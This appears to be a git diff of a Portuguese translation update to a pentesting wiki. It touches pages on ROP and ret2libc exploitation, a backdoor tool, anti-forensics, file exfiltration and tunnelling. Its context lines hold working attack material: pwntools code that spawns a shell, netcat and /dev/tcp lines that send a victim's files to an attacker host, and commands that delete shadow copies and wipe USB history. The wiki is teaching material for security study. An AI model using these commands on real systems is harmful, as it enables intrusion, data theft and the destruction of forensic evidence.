Translated ['src/backdoors/salseo.md', 'src/binary-exploitation/rop-retu

src/SUMMARY.md

@@ -284,8 +284,10 @@
   - [Places to steal NTLM creds](windows-hardening/ntlm/places-to-steal-ntlm-creds.md)
 - [Lateral Movement](windows-hardening/lateral-movement/README.md)
   - [AtExec / SchtasksExec](windows-hardening/lateral-movement/atexec.md)
-  - [DCOM Exec](windows-hardening/lateral-movement/dcom-exec.md)
+  - [DCOM Exec](windows-hardening/lateral-movement/dcomexec.md)
   - [PsExec/Winexec/ScExec](windows-hardening/lateral-movement/psexec-and-winexec.md)
+  - [RDPexec](windows-hardening/lateral-movement/rdpexec.md)
+  - [SCMexec](windows-hardening/lateral-movement/scmexec.md)
   - [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md)
   - [WinRM](windows-hardening/lateral-movement/winrm.md)
   - [WmiExec](windows-hardening/lateral-movement/wmiexec.md)
@@ -299,6 +301,7 @@
   - [PowerView/SharpView](windows-hardening/basic-powershell-for-pentesters/powerview.md)
 - [Antivirus (AV) Bypass](windows-hardening/av-bypass.md)
 - [Cobalt Strike](windows-hardening/cobalt-strike.md)
+- [Mythic](windows-hardening/mythic.md)
 
 # 📱 Mobile Pentesting
 

src/backdoors/salseo.md

@@ -10,7 +10,7 @@ Compile esses projetos para a arquitetura da máquina Windows onde você vai us
 
 Você pode **selecionar a arquitetura** dentro do Visual Studio na **aba "Build" à esquerda** em **"Platform Target".**
 
-(\*\*Se você não encontrar essas opções, clique na **"Project Tab"** e depois em **"\<Project Name> Properties"**)
+(**Se você não encontrar essas opções, clique na **"Project Tab"** e depois em **"\<Project Name> Properties"**)
 
 ![](<../images/image (132).png>)
 
@@ -20,7 +20,7 @@ Em seguida, construa ambos os projetos (Build -> Build Solution) (Dentro dos log
 
 ## Preparar o Backdoor
 
-Primeiro de tudo, você precisará codificar o **EvilSalsa.dll.** Para isso, você pode usar o script python **encrypterassembly.py** ou pode compilar o projeto **EncrypterAssembly**:
+Primeiramente, você precisará codificar o **EvilSalsa.dll.** Para isso, você pode usar o script python **encrypterassembly.py** ou pode compilar o projeto **EncrypterAssembly**:
 
 ### **Python**
 ```

src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md

@@ -6,7 +6,7 @@
 
 1. **Encontrar** o **offset** de overflow
 2. **Encontrar** o gadget `POP_RDI`, os gadgets `PUTS_PLT` e `MAIN`
-3. Usar os gadgets anteriores para **vazar o endereço de memória** de puts ou outra função da libc e **encontrar a versão da libc** ([donwload it](https://libc.blukat.me))
+3. Usar os gadgets anteriores para **vazar o endereço de memória** do puts ou de outra função da libc e **encontrar a versão da libc** ([donwload it](https://libc.blukat.me))
 4. Com a biblioteca, **calcular o ROP e explorá-lo**
 
 ## Outros tutoriais e binários para praticar
@@ -32,7 +32,7 @@ return 0;
 ```bash
 gcc -o vuln vuln.c -fno-stack-protector -no-pie
 ```
-## ROP - Modelo de vazamento de LIBC
+## ROP - Leaking LIBC template
 
 Baixe o exploit e coloque-o no mesmo diretório que o binário vulnerável e forneça os dados necessários para o script:
 
@@ -42,7 +42,7 @@ rop-leaking-libc-template.md
 
 ## 1- Encontrando o offset
 
-O modelo precisa de um offset antes de continuar com o exploit. Se algum for fornecido, ele executará o código necessário para encontrá-lo (por padrão `OFFSET = ""`):
+O template precisa de um offset antes de continuar com o exploit. Se algum for fornecido, ele executará o código necessário para encontrá-lo (por padrão `OFFSET = ""`):
 ```bash
 ###################
 ### Find offset ###
@@ -67,7 +67,7 @@ cyclic_find(0x6161616b)
 Após encontrar o offset (neste caso 40), altere a variável OFFSET dentro do template usando esse valor.\
 `OFFSET = "A" * 40`
 
-Outra maneira seria usar: `pattern create 1000` -- _execute até ret_ -- `pattern seach $rsp` do GEF.
+Outra maneira seria usar: `pattern create 1000` -- _execute until ret_ -- `pattern seach $rsp` do GEF.
 
 ## 2- Encontrando Gadgets
 
@@ -83,14 +83,14 @@ log.info("Puts plt: " + hex(PUTS_PLT))
 log.info("pop rdi; ret  gadget: " + hex(POP_RDI))
 ```
 O `PUTS_PLT` é necessário para chamar a **função puts**.\
-O `MAIN_PLT` é necessário para chamar a **função main** novamente após uma interação para **explorar** o overflow **novamente** (rodadas infinitas de exploração). **É usado no final de cada ROP para chamar o programa novamente**.\
+O `MAIN_PLT` é necessário para chamar a **função main** novamente após uma interação para **explorar** o overflow **novamente** (ciclos infinitos de exploração). **É usado no final de cada ROP para chamar o programa novamente**.\
 O **POP_RDI** é necessário para **passar** um **parâmetro** para a função chamada.
 
 Nesta etapa, você não precisa executar nada, pois tudo será encontrado pelo pwntools durante a execução.
 
 ## 3- Encontrando a biblioteca libc
 
-Agora é hora de descobrir qual versão da **biblioteca libc** está sendo usada. Para isso, vamos **vazar** o **endereço** na memória da **função** `puts` e então vamos **procurar** em qual **versão da biblioteca** a versão do puts está nesse endereço.
+Agora é hora de descobrir qual versão da biblioteca **libc** está sendo usada. Para isso, vamos **vazar** o **endereço** na memória da **função** `puts` e então vamos **procurar** em qual **versão da biblioteca** a versão do puts está nesse endereço.
 ```python
 def get_addr(func_name):
 FUNC_GOT = elf.got[func_name]
@@ -123,7 +123,7 @@ Para fazer isso, a linha mais importante do código executado é:
 ```python
 rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
 ```
-Isso enviará alguns bytes até que a **sobrescrita** do **RIP** seja possível: `OFFSET`.\
+Isso enviará alguns bytes até que **sobrescrever** o **RIP** seja possível: `OFFSET`.\
 Em seguida, definirá o **endereço** do gadget `POP_RDI` para que o próximo endereço (`FUNC_GOT`) seja salvo no registro **RDI**. Isso ocorre porque queremos **chamar puts** **passando** o **endereço** do `PUTS_GOT`, já que o endereço na memória da função puts é salvo no endereço apontado por `PUTS_GOT`.\
 Depois disso, `PUTS_PLT` será chamado (com `PUTS_GOT` dentro do **RDI**) para que puts **leia o conteúdo** dentro de `PUTS_GOT` (**o endereço da função puts na memória**) e **imprima**.\
 Finalmente, **a função main é chamada novamente** para que possamos explorar o overflow novamente.
@@ -133,12 +133,12 @@ Dessa forma, conseguimos **enganar a função puts** para **imprimir** o **ender
 ![](<../../../../images/image (1049).png>)
 
 Como estamos **explorando** um binário **local**, **não é necessário** descobrir qual versão da **libc** está sendo usada (basta encontrar a biblioteca em `/lib/x86_64-linux-gnu/libc.so.6`).\
-Mas, em um caso de exploit remoto, explicarei aqui como você pode encontrá-la:
+Mas, em um caso de exploração remota, explicarei aqui como você pode encontrá-la:
 
 ### 3.1- Procurando pela versão da libc (1)
 
 Você pode procurar qual biblioteca está sendo usada na página da web: [https://libc.blukat.me/](https://libc.blukat.me)\
-Isso também permitirá que você baixe a versão descoberta da **libc**
+Isso também permitirá que você baixe a versão descoberta da **libc**.
 
 ![](<../../../../images/image (221).png>)
 
@@ -162,7 +162,7 @@ Podemos descobrir qual **libc** provavelmente está sendo usada.
 ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
 archive-glibc (id libc6_2.23-0ubuntu11_amd64)
 ```
-Obtemos 2 correspondências (você deve tentar a segunda se a primeira não estiver funcionando). Baixe a primeira:
+Obtemos 2 correspondências (você deve tentar a segunda se a primeira não funcionar). Baixe a primeira:
 ```bash
 ./download libc6_2.23-0ubuntu10_amd64
 Getting libc6_2.23-0ubuntu10_amd64
@@ -171,7 +171,7 @@ Getting libc6_2.23-0ubuntu10_amd64
 -> Extracting package
 -> Package saved to libs/libc6_2.23-0ubuntu10_amd64
 ```
-Copie a libc de `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` para o nosso diretório de trabalho.
+Copie a libc de `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` para nosso diretório de trabalho.
 
 ### 3.3- Outras funções para vazar
 ```python
@@ -187,7 +187,7 @@ Neste ponto, devemos saber qual a biblioteca libc utilizada. Como estamos explor
 
 Então, no início de `template.py`, mude a variável **libc** para: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Defina o caminho da biblioteca quando souber`
 
-Dando o **caminho** para a **biblioteca libc**, o restante do **exploit será calculado automaticamente**.
+Dando o **caminho** para a **biblioteca libc**, o restante da **exploração será calculado automaticamente**.
 
 Dentro da função `get_addr`, o **endereço base da libc** será calculado:
 ```python
@@ -207,7 +207,7 @@ EXIT = libc.sym["exit"]
 log.info("bin/sh %s " % hex(BINSH))
 log.info("system %s " % hex(SYSTEM))
 ```
-Finalmente, a exploração da execução de /bin/sh será preparada e enviada:
+Finalmente, a exploração de execução /bin/sh será preparada e enviada:
 ```python
 rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
 
@@ -221,14 +221,14 @@ Vamos explicar este ROP final.\
 O último ROP (`rop1`) terminou chamando novamente a função main, então podemos **explorar novamente** o **overflow** (é por isso que o `OFFSET` está aqui novamente). Então, queremos chamar `POP_RDI` apontando para o **endereço** de _"/bin/sh"_ (`BINSH`) e chamar a função **system** (`SYSTEM`) porque o endereço de _"/bin/sh"_ será passado como um parâmetro.\
 Finalmente, o **endereço da função exit** é **chamado** para que o processo **saia de forma adequada** e nenhum alerta seja gerado.
 
-**Dessa forma, o exploit executará um \_/bin/sh**\_\*\* shell.\*\*
+**Dessa forma, o exploit executará um shell _/bin/sh_.**
 
 ![](<../../../../images/image (165).png>)
 
 ## 4(2)- Usando ONE_GADGET
 
 Você também pode usar [**ONE_GADGET** ](https://github.com/david942j/one_gadget) para obter um shell em vez de usar **system** e **"/bin/sh". ONE_GADGET** encontrará dentro da biblioteca libc alguma maneira de obter um shell usando apenas um **endereço ROP**.\
-No entanto, normalmente há algumas restrições, as mais comuns e fáceis de evitar são como `[rsp+0x30] == NULL`. Como você controla os valores dentro do **RSP**, você só precisa enviar mais alguns valores NULL para que a restrição seja evitada.
+No entanto, normalmente há algumas restrições, as mais comuns e fáceis de evitar são como `[rsp+0x30] == NULL` Como você controla os valores dentro do **RSP**, você só precisa enviar mais alguns valores NULL para que a restrição seja evitada.
 
 ![](<../../../../images/image (754).png>)
 ```python

src/binary-exploitation/stack-overflow/README.md

@@ -8,7 +8,7 @@ Um **stack overflow** é uma vulnerabilidade que ocorre quando um programa escre
 
 O principal problema dessa sobrescrita é que o **ponteiro de instrução salvo (EIP/RIP)** e o **ponteiro base salvo (EBP/RBP)** para retornar à função anterior estão **armazenados na pilha**. Portanto, um atacante poderá sobrescrever esses valores e **controlar o fluxo de execução do programa**.
 
-A vulnerabilidade geralmente surge porque uma função **copia dentro da pilha mais bytes do que a quantidade alocada para ela**, podendo assim sobrescrever outras partes da pilha.
+A vulnerabilidade geralmente surge porque uma função **copia na pilha mais bytes do que a quantidade alocada para ela**, conseguindo assim sobrescrever outras partes da pilha.
 
 Algumas funções comuns vulneráveis a isso são: **`strcpy`, `strcat`, `sprintf`, `gets`**... Além disso, funções como **`fgets`**, **`read` & `memcpy`** que aceitam um **argumento de comprimento**, podem ser usadas de maneira vulnerável se o comprimento especificado for maior do que o alocado.
 
@@ -25,7 +25,7 @@ printf("You entered: %s\n", buffer);
 
 A maneira mais comum de encontrar stack overflows é fornecer uma entrada muito grande de `A`s (por exemplo, `python3 -c 'print("A"*1000)'`) e esperar um `Segmentation Fault` indicando que o **endereço `0x41414141` foi tentado acessar**.
 
-Além disso, uma vez que você encontrou que há uma vulnerabilidade de Stack Overflow, você precisará encontrar o offset até que seja possível **sobrescrever o endereço de retorno**, para isso geralmente é usada uma **sequência de De Bruijn.** Que para um alfabeto dado de tamanho _k_ e subsequências de comprimento _n_ é uma **sequência cíclica na qual cada possível subsequência de comprimento \_n**\_\*\* aparece exatamente uma vez\*\* como uma subsequência contígua.
+Além disso, uma vez que você encontrou que há uma vulnerabilidade de Stack Overflow, você precisará encontrar o offset até que seja possível **sobrescrever o endereço de retorno**, para isso geralmente é usada uma **sequência de De Bruijn.** Que para um alfabeto dado de tamanho _k_ e subsequências de comprimento _n_ é uma **sequência cíclica na qual cada subsequência possível de comprimento _n_ aparece exatamente uma vez** como uma subsequência contígua.
 
 Dessa forma, em vez de precisar descobrir manualmente qual offset é necessário para controlar o EIP, é possível usar como preenchimento uma dessas sequências e, em seguida, encontrar o offset dos bytes que acabaram sobrescrevendo-o.
 
@@ -79,7 +79,7 @@ Esta técnica é a estrutura fundamental para contornar a principal proteção d
 ../rop-return-oriented-programing/
 {{#endref}}
 
-## Estouro de Heap
+## Estouros de Heap
 
 Um estouro não ocorrerá sempre na pilha, também pode ocorrer no **heap**, por exemplo:
 
@@ -87,7 +87,7 @@ Um estouro não ocorrerá sempre na pilha, também pode ocorrer no **heap**, por
 ../libc-heap/heap-overflow.md
 {{#endref}}
 
-## Tipos de Proteções
+## Tipos de proteções
 
 Existem várias proteções tentando prevenir a exploração de vulnerabilidades, confira-as em:
 

src/crypto-and-stego/crypto-ctfs-tricks.md

@@ -184,7 +184,7 @@ Letras para seu valor numérico
 ```
 ### Codificação de Cifra Afim
 
-Letra para número `(ax+b)%26` (_a_ e _b_ são as chaves e _x_ é a letra) e o resultado de volta para a letra
+Letra para número `(ax+b)%26` (_a_ e _b_ são as chaves e _x_ é a letra) e o resultado de volta para letra
 ```
 krodfdudfrod
 ```
@@ -192,7 +192,7 @@ krodfdudfrod
 
 **Multitap** [substitui uma letra](https://www.dcode.fr/word-letter-change) por dígitos repetidos definidos pelo código da tecla correspondente em um [teclado de telefone](https://www.dcode.fr/phone-keypad-cipher) (Este modo é usado ao escrever SMS).\
 Por exemplo: 2=A, 22=B, 222=C, 3=D...\
-Você pode identificar este código porque verá\*\* vários números repetidos\*\*.
+Você pode identificar este código porque verá **vários números repetidos**.
 
 Você pode decodificar este código em: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
 

src/cryptography/crypto-ctfs-tricks.md

@@ -19,7 +19,7 @@
 ## Solucionadores Automáticos Mágicos
 
 - [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey)
-- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (módulo mágico)
+- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Módulo Mágico)
 - [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
 - [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking)
 
@@ -174,7 +174,7 @@ ryvkryvkryvkryvkryvkryvkryvk
 ```
 drnajapajrna
 ```
-- [https://www.geocachingtoolbox.com/index.php?lang=pt\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=pt&page=dvorakKeyboard)
+- [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard)
 
 ### A1Z26
 
@@ -184,19 +184,19 @@ Letras para seu valor numérico
 ```
 ### Codificação de Cifra Afim
 
-Letra para número `(ax+b)%26` (_a_ e _b_ são as chaves e _x_ é a letra) e o resultado de volta para a letra
+Letra para número `(ax+b)%26` (_a_ e _b_ são as chaves e _x_ é a letra) e o resultado de volta para letra
 ```
 krodfdudfrod
 ```
-### Código SMS
+### SMS Code
 
 **Multitap** [substitui uma letra](https://www.dcode.fr/word-letter-change) por dígitos repetidos definidos pelo código da tecla correspondente em um [teclado de telefone](https://www.dcode.fr/phone-keypad-cipher) (Este modo é usado ao escrever SMS).\
 Por exemplo: 2=A, 22=B, 222=C, 3=D...\
-Você pode identificar este código porque verá\*\* vários números repetidos\*\*.
+Você pode identificar esse código porque verá **vários números repetidos**.
 
-Você pode decodificar este código em: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
+Você pode decodificar esse código em: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
 
-### Código Bacon
+### Bacon Code
 
 Substitua cada letra por 4 As ou Bs (ou 1s e 0s)
 ```
@@ -213,7 +213,7 @@ AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
 
 ## Cripto Fácil
 
-### XOR - Autosolver
+### XOR - Solucionador Automático
 
 - [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/)
 

src/forensics/basic-forensic-methodology/anti-forensic-techniques.md

@@ -2,32 +2,32 @@
 
 # Timestamps
 
-Um atacante pode estar interessado em **alterar os timestamps dos arquivos** para evitar ser detectado.\
-É possível encontrar os timestamps dentro do MFT nos atributos `$STANDARD_INFORMATION` ** e ** `$FILE_NAME`.
+Um atacante pode estar interessado em **alterar os timestamps de arquivos** para evitar ser detectado.\
+É possível encontrar os timestamps dentro do MFT nos atributos `$STANDARD_INFORMATION` **e** `$FILE_NAME`.
 
 Ambos os atributos têm 4 timestamps: **Modificação**, **acesso**, **criação** e **modificação do registro MFT** (MACE ou MACB).
 
-**Windows explorer** e outras ferramentas mostram as informações de **`$STANDARD_INFORMATION`**.
+**O explorador do Windows** e outras ferramentas mostram as informações de **`$STANDARD_INFORMATION`**.
 
 ## TimeStomp - Ferramenta Anti-forense
 
-Esta ferramenta **modifica** as informações de timestamp dentro de **`$STANDARD_INFORMATION`** **mas** **não** as informações dentro de **`$FILE_NAME`**. Portanto, é possível **identificar** **atividade** **suspeita**.
+Esta ferramenta **modifica** as informações de timestamp dentro de **`$STANDARD_INFORMATION`**, **mas** **não** as informações dentro de **`$FILE_NAME`**. Portanto, é possível **identificar** **atividade** **suspeita**.
 
 ## Usnjrnl
 
-O **USN Journal** (Update Sequence Number Journal) é um recurso do NTFS (sistema de arquivos Windows NT) que rastreia as alterações do volume. A ferramenta [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) permite a análise dessas alterações.
+O **USN Journal** (Journal de Número de Sequência de Atualização) é um recurso do NTFS (sistema de arquivos Windows NT) que rastreia alterações no volume. A ferramenta [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) permite a análise dessas mudanças.
 
 ![](<../../images/image (449).png>)
 
-A imagem anterior é a **saída** mostrada pela **ferramenta**, onde pode-se observar que algumas **alterações foram realizadas** no arquivo.
+A imagem anterior é a **saída** mostrada pela **ferramenta**, onde pode-se observar que algumas **mudanças foram realizadas** no arquivo.
 
 ## $LogFile
 
-**Todas as alterações de metadados em um sistema de arquivos são registradas** em um processo conhecido como [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). Os metadados registrados são mantidos em um arquivo chamado `**$LogFile**`, localizado no diretório raiz de um sistema de arquivos NTFS. Ferramentas como [LogFileParser](https://github.com/jschicht/LogFileParser) podem ser usadas para analisar este arquivo e identificar alterações.
+**Todas as alterações de metadados em um sistema de arquivos são registradas** em um processo conhecido como [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). Os metadados registrados são mantidos em um arquivo chamado `**$LogFile**`, localizado no diretório raiz de um sistema de arquivos NTFS. Ferramentas como [LogFileParser](https://github.com/jschicht/LogFileParser) podem ser usadas para analisar este arquivo e identificar mudanças.
 
 ![](<../../images/image (450).png>)
 
-Novamente, na saída da ferramenta é possível ver que **algumas alterações foram realizadas**.
+Novamente, na saída da ferramenta é possível ver que **algumas mudanças foram realizadas**.
 
 Usando a mesma ferramenta, é possível identificar **a que hora os timestamps foram modificados**:
 
@@ -48,21 +48,21 @@ Os timestamps do **NTFS** têm uma **precisão** de **100 nanosegundos**. Portan
 
 ## SetMace - Ferramenta Anti-forense
 
-Esta ferramenta pode modificar ambos os atributos `$STARNDAR_INFORMATION` e `$FILE_NAME`. No entanto, a partir do Windows Vista, é necessário que um sistema operacional ao vivo modifique essas informações.
+Esta ferramenta pode modificar ambos os atributos `$STANDARD_INFORMATION` e `$FILE_NAME`. No entanto, a partir do Windows Vista, é necessário que um sistema operacional ao vivo modifique essas informações.
 
 # Data Hiding
 
-O NFTS usa um cluster e o tamanho mínimo da informação. Isso significa que se um arquivo ocupa um e meio cluster, a **metade restante nunca será usada** até que o arquivo seja excluído. Portanto, é possível **ocultar dados neste espaço livre**.
+O NFTS usa um cluster e o tamanho mínimo da informação. Isso significa que se um arquivo ocupa um e meio cluster, a **metade restante nunca será usada** até que o arquivo seja excluído. Portanto, é possível **ocultar dados neste espaço de sobra**.
 
 Existem ferramentas como slacker que permitem ocultar dados neste espaço "oculto". No entanto, uma análise do `$logfile` e `$usnjrnl` pode mostrar que alguns dados foram adicionados:
 
 ![](<../../images/image (452).png>)
 
-Então, é possível recuperar o espaço livre usando ferramentas como FTK Imager. Note que esse tipo de ferramenta pode salvar o conteúdo ofuscado ou até mesmo criptografado.
+Então, é possível recuperar o espaço de sobra usando ferramentas como FTK Imager. Note que esse tipo de ferramenta pode salvar o conteúdo ofuscado ou até mesmo criptografado.
 
 # UsbKill
 
-Esta é uma ferramenta que **desligará o computador se qualquer alteração nas portas USB** for detectada.\
+Esta é uma ferramenta que **desliga o computador se qualquer alteração nas portas USB** for detectada.\
 Uma maneira de descobrir isso seria inspecionar os processos em execução e **revisar cada script python em execução**.
 
 # Live Linux Distributions
@@ -83,7 +83,7 @@ Esta é uma chave de registro que mantém datas e horas quando cada executável
 
 Desativar o UserAssist requer duas etapas:
 
-1. Defina duas chaves de registro, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` e `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, ambas para zero a fim de sinalizar que queremos desativar o UserAssist.
+1. Defina duas chaves de registro, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` e `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, ambas para zero, a fim de sinalizar que queremos desativar o UserAssist.
 2. Limpe suas subárvores de registro que se parecem com `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>`.
 
 ## Desativar Timestamps - Prefetch
@@ -98,7 +98,7 @@ Isso salvará informações sobre os aplicativos executados com o objetivo de me
 
 ## Desativar Timestamps - Last Access Time
 
-Sempre que uma pasta é aberta a partir de um volume NTFS em um servidor Windows NT, o sistema leva o tempo para **atualizar um campo de timestamp em cada pasta listada**, chamado de hora de último acesso. Em um volume NTFS muito utilizado, isso pode afetar o desempenho.
+Sempre que uma pasta é aberta a partir de um volume NTFS em um servidor Windows NT, o sistema leva o tempo para **atualizar um campo de timestamp em cada pasta listada**, chamado de hora do último acesso. Em um volume NTFS muito utilizado, isso pode afetar o desempenho.
 
 1. Abra o Editor do Registro (Regedit.exe).
 2. Navegue até `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`.
@@ -107,23 +107,23 @@ Sempre que uma pasta é aberta a partir de um volume NTFS em um servidor Windows
 
 ## Deletar Histórico USB
 
-Todas as **Entradas de Dispositivos USB** são armazenadas no Registro do Windows sob a chave de registro **USBSTOR** que contém subchaves que são criadas sempre que você conecta um dispositivo USB ao seu PC ou Laptop. Você pode encontrar esta chave aqui `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Deletando isso**, você excluirá o histórico USB.\
-Você também pode usar a ferramenta [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) para ter certeza de que as deletou (e para deletá-las).
+Todas as **Entradas de Dispositivos USB** são armazenadas no Registro do Windows sob a chave de registro **USBSTOR**, que contém subchaves que são criadas sempre que você conecta um dispositivo USB ao seu PC ou Laptop. Você pode encontrar esta chave aqui `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Deletando isso**, você excluirá o histórico USB.\
+Você também pode usar a ferramenta [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) para ter certeza de que as excluiu (e para excluí-las).
 
-Outro arquivo que salva informações sobre os USBs é o arquivo `setupapi.dev.log` dentro de `C:\Windows\INF`. Este também deve ser deletado.
+Outro arquivo que salva informações sobre os USBs é o arquivo `setupapi.dev.log` dentro de `C:\Windows\INF`. Este também deve ser excluído.
 
 ## Desativar Cópias de Sombra
 
 **Liste** as cópias de sombra com `vssadmin list shadowstorage`\
-**Deletar** executando `vssadmin delete shadow`
+**Exclua**-as executando `vssadmin delete shadow`
 
-Você também pode deletá-las via GUI seguindo os passos propostos em [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)
+Você também pode excluí-las via GUI seguindo os passos propostos em [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)
 
-Para desativar cópias de sombra [passos daqui](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
+Para desativar cópias de sombra [passos a partir daqui](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
 
-1. Abra o programa Serviços digitando "services" na caixa de pesquisa de texto após clicar no botão iniciar do Windows.
+1. Abra o programa Serviços digitando "serviços" na caixa de pesquisa de texto após clicar no botão iniciar do Windows.
 2. Na lista, encontre "Volume Shadow Copy", selecione-o e acesse Propriedades clicando com o botão direito.
-3. Escolha Desativado no menu suspenso "Tipo de Inicialização" e confirme a alteração clicando em Aplicar e OK.
+3. Escolha Desativado no menu suspenso "Tipo de inicialização" e confirme a alteração clicando em Aplicar e OK.
 
 Também é possível modificar a configuração de quais arquivos serão copiados na cópia de sombra no registro `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`
 

src/generic-hacking/exfiltration.md

@@ -199,7 +199,7 @@ nc -vn <IP> 4444 < exfil_file
 nc -lvnp 80 > file #Inside attacker
 cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
 ```
-### Enviar arquivo para a vítima
+### Fazer upload de arquivo para a vítima
 ```bash
 nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
 # Inside victim
@@ -302,8 +302,12 @@ O programa `debug.exe` não apenas permite a inspeção de binários, mas també
 upx -9 nc.exe
 wine exe2bat.exe nc.exe nc.txt
 ```
-Em seguida, cole o texto no windows-shell e um arquivo chamado nc.exe será criado.
+Então copie e cole o texto no windows-shell e um arquivo chamado nc.exe será criado.
+
+- [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
 
 ## DNS
 
+- [https://github.com/Stratiz/DNS-Exfil](https://github.com/Stratiz/DNS-Exfil)
+
 {{#include ../banners/hacktricks-training.md}}

src/generic-hacking/tunneling-and-port-forwarding.md

@@ -1,11 +1,11 @@
-# Tunneling and Port Forwarding
+# Tunneling e Encaminhamento de Portas
 
 {{#include ../banners/hacktricks-training.md}}
 
 ## Dica do Nmap
 
 > [!WARNING]
-> **ICMP** e **SYN** scans não podem ser tunelados através de proxies socks, então devemos **desativar a descoberta por ping** (`-Pn`) e especificar **scans TCP** (`-sT`) para que isso funcione.
+> **ICMP** e **SYN** scans não podem ser tunelados através de proxies socks, então devemos **desativar a descoberta de ping** (`-Pn`) e especificar **scans TCP** (`-sT`) para que isso funcione.
 
 ## **Bash**
 
@@ -78,7 +78,7 @@ ifconfig tun0 up #Activate the client side network interface
 ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP
 ifconfig tun0 up #Activate the server side network interface
 ```
-Ative o encaminhamento no lado do servidor
+Ative o encaminhamento no lado do Servidor
 ```bash
 echo 1 > /proc/sys/net/ipv4/ip_forward
 iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
@@ -89,7 +89,7 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
 ```
 ## SSHUTTLE
 
-Você pode **tunneling** via **ssh** todo o **tráfego** para uma **sub-rede** através de um host.\
+Você pode **túnel** via **ssh** todo o **tráfego** para uma **sub-rede** através de um host.\
 Por exemplo, encaminhando todo o tráfego que vai para 10.10.10.0/24
 ```bash
 pip install sshuttle
@@ -152,15 +152,15 @@ rportfwd stop [bind port]
 ```
 Para notar:
 
-- O **reencaminhamento de porta reverso do Beacon** é projetado para **túnel de tráfego para o Servidor da Equipe, não para relatar entre máquinas individuais**.
+- O **reverso de porta do Beacon** é projetado para **túnel de tráfego para o Servidor da Equipe, não para retransmitir entre máquinas individuais**.
 - O tráfego é **tuneado dentro do tráfego C2 do Beacon**, incluindo links P2P.
-- **Privilégios de administrador não são necessários** para criar reencaminhamentos de porta reversos em portas altas.
+- **Privilégios de administrador não são necessários** para criar reversos de porta em portas altas.
 
 ### rPort2Port local
 
 > [!WARNING]
 > Neste caso, a **porta é aberta no host do beacon**, não no Servidor da Equipe e o **tráfego é enviado para o cliente Cobalt Strike** (não para o Servidor da Equipe) e de lá para o host:porta indicado.
-```
+```bash
 rportfwd_local [bind port] [forward host] [forward port]
 rportfwd_local stop [bind port]
 ```
@@ -246,7 +246,7 @@ attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127
 ```bash
 victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999
 ```
-Fazer pivot através do **NTLM proxy**
+Pivotar através do **NTLM proxy**
 ```bash
 victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
 ```
@@ -276,7 +276,7 @@ socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &
 ```bash
